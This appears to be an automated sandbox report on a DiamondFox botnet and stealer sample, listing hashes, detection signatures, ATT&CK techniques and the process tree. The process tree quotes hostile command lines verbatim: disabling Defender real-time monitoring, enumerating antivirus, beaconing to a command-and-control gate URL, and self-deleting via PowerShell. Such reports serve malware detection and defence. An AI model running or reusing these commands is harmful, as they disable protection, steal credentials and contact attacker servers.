diamondfox | 2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

Analysis

max time kernel
131s
max time network
139s
platform
windows10_x64
resource
win10v20210408
submitted
04-07-2021 00:03

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General

Target

windef.exe
Size

203KB
MD5

a1e165e1926c0c83123c89fce6b1af56
SHA1

281246ba4b852a5f62e032424f7816f5a6b0406f
SHA256

2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215
SHA512

28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Score

10^/10

diamondfox botnet discovery spyware stealer

Malware Config

Signatures

DiamondFox
DiamondFox is a multipurpose botnet with many capabilities.
botnet stealer diamondfox

DiamondFox payload 10 IoCs

Detects DiamondFox payload in file/memory.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe	diamondfox

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/676-209-0x000000000044412E-mapping.dmp	MailPassView
behavioral2/memory/676-211-0x0000000000400000-0x0000000000455000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/2284-196-0x00000000004466F4-mapping.dmp	WebBrowserPassView
behavioral2/memory/2284-198-0x0000000000400000-0x000000000047C000-memory.dmp	WebBrowserPassView

Nirsoft 6 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2284-196-0x00000000004466F4-mapping.dmp	Nirsoft
behavioral2/memory/2284-198-0x0000000000400000-0x000000000047C000-memory.dmp	Nirsoft
behavioral2/memory/2320-206-0x0000000000413E10-mapping.dmp	Nirsoft
behavioral2/memory/2320-208-0x0000000000400000-0x0000000000422000-memory.dmp	Nirsoft
behavioral2/memory/676-209-0x000000000044412E-mapping.dmp	Nirsoft
behavioral2/memory/676-211-0x0000000000400000-0x0000000000455000-memory.dmp	Nirsoft

Downloads MZ/PE file

Executes dropped EXE 10 IoCs

Processes:

MicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exelocalmgr.exe

pid	process
3128	MicrosoftEdgeCPS.exe
2284	MicrosoftEdgeCPS.exe
1184	MicrosoftEdgeCPS.exe
2320	MicrosoftEdgeCPS.exe
676	MicrosoftEdgeCPS.exe
3356	MicrosoftEdgeCPS.exe
1020	MicrosoftEdgeCPS.exe
3064	MicrosoftEdgeCPS.exe
3116	MicrosoftEdgeCPS.exe
2940	localmgr.exe

Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

412 powershell.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
412	powershell.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

MicrosoftEdgeCPS.exe

description	pid	process	target process
PID 3128 set thread context of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 set thread context of 1184	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 set thread context of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 set thread context of 676	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 set thread context of 3356	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 set thread context of 1020	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 set thread context of 3064	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 set thread context of 3116	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

3216 taskkill.exe
4064 taskkill.exe
1552 taskkill.exe
2060 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

3652 notepad.exe

pid	process
3216	taskkill.exe
4064	taskkill.exe
1552	taskkill.exe
2060	taskkill.exe

pid	process
3652	notepad.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exepowershell.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exe

pid	process
508	powershell.exe
412	powershell.exe
412	powershell.exe
508	powershell.exe
412	powershell.exe
508	powershell.exe
3128	MicrosoftEdgeCPS.exe
3128	MicrosoftEdgeCPS.exe
2284	MicrosoftEdgeCPS.exe
2284	MicrosoftEdgeCPS.exe
2284	MicrosoftEdgeCPS.exe
2284	MicrosoftEdgeCPS.exe
2320	MicrosoftEdgeCPS.exe
2320	MicrosoftEdgeCPS.exe
3128	MicrosoftEdgeCPS.exe
3128	MicrosoftEdgeCPS.exe
3128	MicrosoftEdgeCPS.exe
3128	MicrosoftEdgeCPS.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wmic.exepowershell.exewmic.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2284	wmic.exe
Token: SeSecurityPrivilege	2284	wmic.exe
Token: SeTakeOwnershipPrivilege	2284	wmic.exe
Token: SeLoadDriverPrivilege	2284	wmic.exe
Token: SeSystemProfilePrivilege	2284	wmic.exe
Token: SeSystemtimePrivilege	2284	wmic.exe
Token: SeProfSingleProcessPrivilege	2284	wmic.exe
Token: SeIncBasePriorityPrivilege	2284	wmic.exe
Token: SeCreatePagefilePrivilege	2284	wmic.exe
Token: SeBackupPrivilege	2284	wmic.exe
Token: SeRestorePrivilege	2284	wmic.exe
Token: SeShutdownPrivilege	2284	wmic.exe
Token: SeDebugPrivilege	2284	wmic.exe
Token: SeSystemEnvironmentPrivilege	2284	wmic.exe
Token: SeRemoteShutdownPrivilege	2284	wmic.exe
Token: SeUndockPrivilege	2284	wmic.exe
Token: SeManageVolumePrivilege	2284	wmic.exe
Token: 33	2284	wmic.exe
Token: 34	2284	wmic.exe
Token: 35	2284	wmic.exe
Token: 36	2284	wmic.exe
Token: SeIncreaseQuotaPrivilege	2284	wmic.exe
Token: SeSecurityPrivilege	2284	wmic.exe
Token: SeTakeOwnershipPrivilege	2284	wmic.exe
Token: SeLoadDriverPrivilege	2284	wmic.exe
Token: SeSystemProfilePrivilege	2284	wmic.exe
Token: SeSystemtimePrivilege	2284	wmic.exe
Token: SeProfSingleProcessPrivilege	2284	wmic.exe
Token: SeIncBasePriorityPrivilege	2284	wmic.exe
Token: SeCreatePagefilePrivilege	2284	wmic.exe
Token: SeBackupPrivilege	2284	wmic.exe
Token: SeRestorePrivilege	2284	wmic.exe
Token: SeShutdownPrivilege	2284	wmic.exe
Token: SeDebugPrivilege	2284	wmic.exe
Token: SeSystemEnvironmentPrivilege	2284	wmic.exe
Token: SeRemoteShutdownPrivilege	2284	wmic.exe
Token: SeUndockPrivilege	2284	wmic.exe
Token: SeManageVolumePrivilege	2284	wmic.exe
Token: 33	2284	wmic.exe
Token: 34	2284	wmic.exe
Token: 35	2284	wmic.exe
Token: 36	2284	wmic.exe
Token: SeDebugPrivilege	412	powershell.exe
Token: SeIncreaseQuotaPrivilege	3836	wmic.exe
Token: SeSecurityPrivilege	3836	wmic.exe
Token: SeTakeOwnershipPrivilege	3836	wmic.exe
Token: SeLoadDriverPrivilege	3836	wmic.exe
Token: SeSystemProfilePrivilege	3836	wmic.exe
Token: SeSystemtimePrivilege	3836	wmic.exe
Token: SeProfSingleProcessPrivilege	3836	wmic.exe
Token: SeIncBasePriorityPrivilege	3836	wmic.exe
Token: SeCreatePagefilePrivilege	3836	wmic.exe
Token: SeBackupPrivilege	3836	wmic.exe
Token: SeRestorePrivilege	3836	wmic.exe
Token: SeShutdownPrivilege	3836	wmic.exe
Token: SeDebugPrivilege	3836	wmic.exe
Token: SeSystemEnvironmentPrivilege	3836	wmic.exe
Token: SeRemoteShutdownPrivilege	3836	wmic.exe
Token: SeUndockPrivilege	3836	wmic.exe
Token: SeManageVolumePrivilege	3836	wmic.exe
Token: 33	3836	wmic.exe
Token: 34	3836	wmic.exe
Token: 35	3836	wmic.exe
Token: 36	3836	wmic.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

MicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exeMicrosoftEdgeCPS.exe

pid process

1184 MicrosoftEdgeCPS.exe
1020 MicrosoftEdgeCPS.exe
3064 MicrosoftEdgeCPS.exe

pid	process
1184	MicrosoftEdgeCPS.exe
1020	MicrosoftEdgeCPS.exe
3064	MicrosoftEdgeCPS.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

windef.exeMicrosoftEdgeCPS.exe

description	pid	process	target process
PID 804 wrote to memory of 3128	804	windef.exe	MicrosoftEdgeCPS.exe
PID 804 wrote to memory of 3128	804	windef.exe	MicrosoftEdgeCPS.exe
PID 804 wrote to memory of 3128	804	windef.exe	MicrosoftEdgeCPS.exe
PID 804 wrote to memory of 412	804	windef.exe	powershell.exe
PID 804 wrote to memory of 412	804	windef.exe	powershell.exe
PID 804 wrote to memory of 412	804	windef.exe	powershell.exe
PID 3128 wrote to memory of 508	3128	MicrosoftEdgeCPS.exe	powershell.exe
PID 3128 wrote to memory of 508	3128	MicrosoftEdgeCPS.exe	powershell.exe
PID 3128 wrote to memory of 508	3128	MicrosoftEdgeCPS.exe	powershell.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 3836	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 3836	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 3836	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2880	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2880	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2880	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2288	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2288	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2288	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 3536	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 3536	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 3536	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 804	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 804	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 804	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2256	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2256	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2256	3128	MicrosoftEdgeCPS.exe	wmic.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2284	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 1184	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 1184	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 1184	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 1184	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 1184	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 1184	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 1184	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 1184	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 2320	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 676	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 676	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 676	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 676	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 676	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 676	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 676	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe
PID 3128 wrote to memory of 676	3128	MicrosoftEdgeCPS.exe	MicrosoftEdgeCPS.exe

C:\Users\Admin\AppData\Local\Temp\windef.exe
"C:\Users\Admin\AppData\Local\Temp\windef.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:804

C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
"C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:508

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" /Node:localhost /Namespace:\\root\SecurityCenter2 path AntiVirusProduct get DisplayName /FORMAT:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2284

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" os get caption /FORMAT:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3836

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" path win32_VideoController get caption /FORMAT:List
3⤵
PID:2880

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" path win32_NetworkAdapterConfiguration where IPEnabled=1 get IPAddress /FORMAT:List
3⤵
PID:2288

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" LogicalDisk Where DriveType=4 get VolumeName /FORMAT:List
3⤵
PID:3536

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
3⤵
PID:804

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
3⤵
PID:2256

C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
/scomma "C:\Users\Admin\AppData\Local\Temp\1.log"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2284

C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
/scomma "C:\Users\Admin\AppData\Local\Temp\4.log"
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1184

C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
/scomma "C:\Users\Admin\AppData\Local\Temp\2.log"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2320

C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
/scomma "C:\Users\Admin\AppData\Local\Temp\3.log"
3⤵
- Executes dropped EXE
PID:676

C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
3⤵
- Executes dropped EXE
PID:3356

C:\Windows\notepad.exe
X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
4⤵
- Opens file in notepad (likely ransom note)
PID:3652

C:\Windows\write.exe
X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
4⤵
PID:2268

C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1020

C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3064

C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
3⤵
- Executes dropped EXE
PID:3116

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
3⤵
PID:2200

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
3⤵
PID:1816

C:\Windows\SysWOW64\taskkill.exe
"taskkill" /PID 3356 /F
3⤵
- Kills process with taskkill
PID:4064

C:\Windows\SysWOW64\taskkill.exe
"taskkill" /PID 3064 /F
3⤵
- Kills process with taskkill
PID:1552

C:\Windows\SysWOW64\taskkill.exe
"taskkill" /PID 3116 /F
3⤵
- Kills process with taskkill
PID:2060

C:\Windows\SysWOW64\taskkill.exe
"taskkill" /PID 1020 /F
3⤵
- Kills process with taskkill
PID:3216

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
3⤵
PID:3660

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
3⤵
PID:2112

C:\Users\Admin\AppData\Local\Temp\localmgr.exe
"C:\Users\Admin\AppData\Local\Temp\localmgr.exe"
3⤵
- Executes dropped EXE
PID:2940

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Start-Sleep -s 10; Remove-Item -Path 'C:\Users\Admin\AppData\Local\Temp\windef.exe' -Force -Recurse
2⤵
- Deletes itself
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:412

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
db01a2c1c7e70b2b038edf8ad5ad9826

SHA1
540217c647a73bad8d8a79e3a0f3998b5abd199b

SHA256
413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d

SHA512
c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
775d05c534102b36882b4510f60680c5

SHA1
17fb67ef5233efcc2cbcfd54ce8bbe2176938793

SHA256
893ed03ced03806745236aef746b223ecbf295dfac6d9d78007876131f9c6d80

SHA512
98b328930f78cbad665001c75a9dc2e643554e02ab62dfd5531b5483e45851c1c73a6a4cf272ee65ac3c95ef43b491cd3fd062115fcf38591c3478c564e2f1d6

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C:\Users\Admin\AppData\Local\Temp\1.log
MD5
4ab56e327e56a995c158a6116430835b

SHA1
bf39dbae7798cc8bd7d7073998b09652412b111b

SHA256
269c32926bf6faebe0581c23903f8dc8cef41ad46b333435d038b81d47f4785e

SHA512
37704769bf293cd6a9c0ccbec359fbb7278f163911d3f2ae27f6c9c3dece55be70c2c5695be953def5984b7eda05953b19581df236c44d5d269cf258e49ab4af

Download Submit
C:\Users\Admin\AppData\Local\Temp\localmgr.exe
MD5
f4f7f1f8b8f893bdd621f425646919a5

SHA1
cc1ccc560723692407ce86972865a956faa62229

SHA256
fd8ef0b8b997038aa6a4a416298965545e24f6367e364e58ebd6343515b73c8a

SHA512
7621478e0d0e3036682e76e7db3675d5053a4decff033d75c9608744245b91b970a937f3006f80c6262408f8072b06b74af606c88d4c9a951eda88320275fc03

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C:\Users\Admin\AppData\Local\Temp\localmgr.exe
MD5
f4f7f1f8b8f893bdd621f425646919a5

SHA1
cc1ccc560723692407ce86972865a956faa62229

SHA256
fd8ef0b8b997038aa6a4a416298965545e24f6367e364e58ebd6343515b73c8a

SHA512
7621478e0d0e3036682e76e7db3675d5053a4decff033d75c9608744245b91b970a937f3006f80c6262408f8072b06b74af606c88d4c9a951eda88320275fc03

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C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
MD5
a1e165e1926c0c83123c89fce6b1af56

SHA1
281246ba4b852a5f62e032424f7816f5a6b0406f

SHA256
2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

SHA512
28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Download Submit
